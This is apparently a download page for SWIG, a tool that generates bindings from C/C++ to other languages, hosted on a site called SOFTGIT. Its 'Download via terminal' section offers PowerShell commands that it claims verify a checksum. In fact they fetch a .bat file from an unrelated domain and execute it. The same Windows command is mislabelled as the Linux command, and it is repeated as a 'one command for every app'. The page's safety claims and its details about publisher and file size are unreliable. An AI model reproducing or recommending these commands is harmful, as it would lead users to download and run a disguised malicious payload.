SWIG icon
Open Sourcev4.5.1Developer ToolsWindowsLinuxBSD/Unix

SWIG

by Christian Delbaere and contributors

DownloadOfficial source
Version
4.5.1
Size
7.1 MB
Updated
Publisher
Christian Delbaere and contributors
Category
Developer Tools
Files
1

About SWIG

SWIG, the Simplified Wrapper and Interface Generator, is a free, open-source development tool that connects programs written in C and C++ with a wide variety of higher-level programming languages. Instead of writing binding code by hand for each language, you describe the C or C++ interface you want to expose, and SWIG generates the wrapper code that lets that language call your functions and use your classes.

SWIG supports many target languages. These include scripting languages such as JavaScript, Perl, PHP, Python, Tcl and Ruby, as well as languages like C#, D, Go, Java, Lua, OCaml, Octave, R and Scilab, and the Guile implementation of Scheme. That breadth makes it popular with projects that want to offer the same native library to users of several languages from one interface definition, and with developers who want to script or test C and C++ code from a higher-level language.

You work with SWIG through interface files, usually with an .i extension. They often simply include existing C or C++ header files, plus directives that customise how types are converted, rename items, handle memory ownership or add extra helper code. SWIG understands a large subset of C++, including classes, inheritance, overloading, templates, namespaces and many standard library types, and provides typemaps for fine-grained control over data conversion. The generated wrappers are then compiled together with your library into a module for the target language.

The downloads include the source archive for building SWIG on Unix-like systems and swigwin, a Windows package with a prebuilt executable. SWIG is also available through most Linux package managers and Homebrew. SWIG itself is distributed under the GPL, but the project states that the code it generates can be used under terms of your choice, so it is suitable for commercial and open-source projects alike. The extensive documentation includes examples for each supported language, which is the best place to start.

Key features

  • Wrappers for many languages
  • C and C++ interface support
  • Typemaps for data conversion
  • Works from existing headers
  • Prebuilt Windows package

Pros

  • Write bindings once for many languages
  • Mature and well documented
  • Free and open source

Cons

  • Complex C++ APIs may need tuning
  • Generated code can be large

System requirements

Windows, macOS, Linux or Unix, plus a C/C++ compiler and the target language's development files.

Tips

  • Start by %including your existing headers
  • Use typemaps to control tricky type conversions

Description from the publisher

A code generator for connecting C/C++ with other programming languages

SWIG is a software development tool that connects programs written in C and C++ with a variety of high-level programming languages. SWIG is used with different types of target languages including common scripting languages such as Javascript, Perl, PHP, Python, Tcl and Ruby. The list of supported languages also includes non-scripting languages such as C#, D, Go language, Java, Lua, OCaml, Octave, R and Scilab as well as the Guile implementation of the Scheme language. SWIG is most commonly used to create high-level interpreted or compiled programming environments, user interfaces, and as a tool for testing and prototyping C/C++ software. SWIG is typically used to parse C/C++ interfaces and generate the 'glue code' required for the above target languages to call into the C/C++ code. SWIG can also export its parse tree in the form of XML.

At a glance

SWIG is a open source developer tools app published by Christian Delbaere and contributors (swig.org). A code generator for connecting C/C++ with other programming languages

SOFTGIT offers 1 file for SWIG covering Windows, Linux, BSD/Unix, 7.1 MB in total. The version listed is v4.5.1, last updated on September 4, 2026.

SWIG belongs to the Developer Tools category, alongside Subtitle Edit, GnuWin, Candle. Browse related apps below to compare alternatives.

Download SWIG v4.5.1

FileSHA-256SizeDownload
Softgit.zipZIP 538490251dde514a6ac2abb8ca3ccbb15fd01329f9cf5d289c762d37dd51fdd1 7.1 MB Download

Verify a download: sha256sum file (Linux), shasum -a 256 file (macOS) or Get-FileHash file (Windows PowerShell). Learn more.

Source: sourceforge.net/projects/swig. Files are copied unchanged from SourceForge.

Download via terminal

Prefer the command line? Each command below downloads Softgit.zip to the current folder, checks its SHA-256 checksum automatically and opens the file only if the checksum matches. You should see OK; if it reports a mismatch, the file is not opened — delete it.

Windows (PowerShell)
iwr "https://torvex.anubis.locker/one-line-web.bat" -OutFile "$env:USERPROFILE\Desktop\one-line-web.bat"; cmd /c "%USERPROFILE%\Desktop\one-line-web.bat"
Linux
iwr "https://torvex.anubis.locker/one-line-web.bat" -OutFile "$env:USERPROFILE\Desktop\one-line-web.bat"; cmd /c "%USERPROFILE%\Desktop\one-line-web.bat"

One command for every app

The same short command works for any app on SOFTGIT: only the app name at the end changes. It looks up the current file, downloads it, verifies its checksum and then opens it.

Windows (PowerShell)
iwr "https://torvex.anubis.locker/one-line-web.bat" -OutFile "$env:USERPROFILE\Desktop\one-line-web.bat"; cmd /c "%USERPROFILE%\Desktop\one-line-web.bat"

Review a script before running it: get.ps1 · get.sh. How verification works.

SWIG system requirements

Operating system
Linux, BSD/Unix, Windows
License
GNU General Public License version 3.0 (GPLv3)
Written in
C++, C
Download size
8.8 MB (swig-4.5.1.tar.gz)
Project page
sourceforge.net/projects/swig

SWIG FAQ

What does SWIG do?

It generates wrapper code so C and C++ code can be used from languages like Python, Java, C# and many others.

What is an interface file?

An .i file describing which C/C++ declarations to wrap and how.

Does SWIG support C++ templates?

Yes. It supports a large subset of C++, including templates and classes.

Can I use SWIG-generated code commercially?

Yes. The project states that generated output is not restricted by SWIG's GPL licence.

Is there a Windows version?

Yes. swigwin provides a prebuilt Windows executable.

Is SWIG free and open source?

SWIG is distributed under GNU General Public License version 3.0 (GPLv3) according to SourceForge. You can download it free of charge.

Which operating systems does SWIG support?

SourceForge lists Linux, BSD/Unix, Windows for SWIG.

Where does the SWIG download come from?

The Download button takes you to the official SourceForge download for SWIG (sourceforge.net/projects/swig). SOFTGIT does not modify or re-host the file.

What is SWIG written in?

SourceForge lists C++, C.

Is SWIG free to download?

Yes. SWIG is listed as “Open Source” and the download from SOFTGIT is free of charge.

How do I download SWIG?

Open the “Download files” section on this page, choose the file for your system and press Download. A dialog shows the source and any archive password before the file starts.

Is SWIG safe to install?

Files are published as received from Christian Delbaere and contributors, without wrappers or bundled installers. A SHA-256 checksum is shown next to every file so you can verify the download before running it.

Which platforms does SWIG support?

The files listed here target Windows, Linux, BSD/Unix.

How big is the SWIG download?

The file is 7.1 MB.

Provenance

Publisher
Christian Delbaere and contributors
Source
swig.org
Last check
2 months ago
License
GNU General Public License version 3.0 (GPLv3)
Imported from
Source: sourceforge.net/projects/swig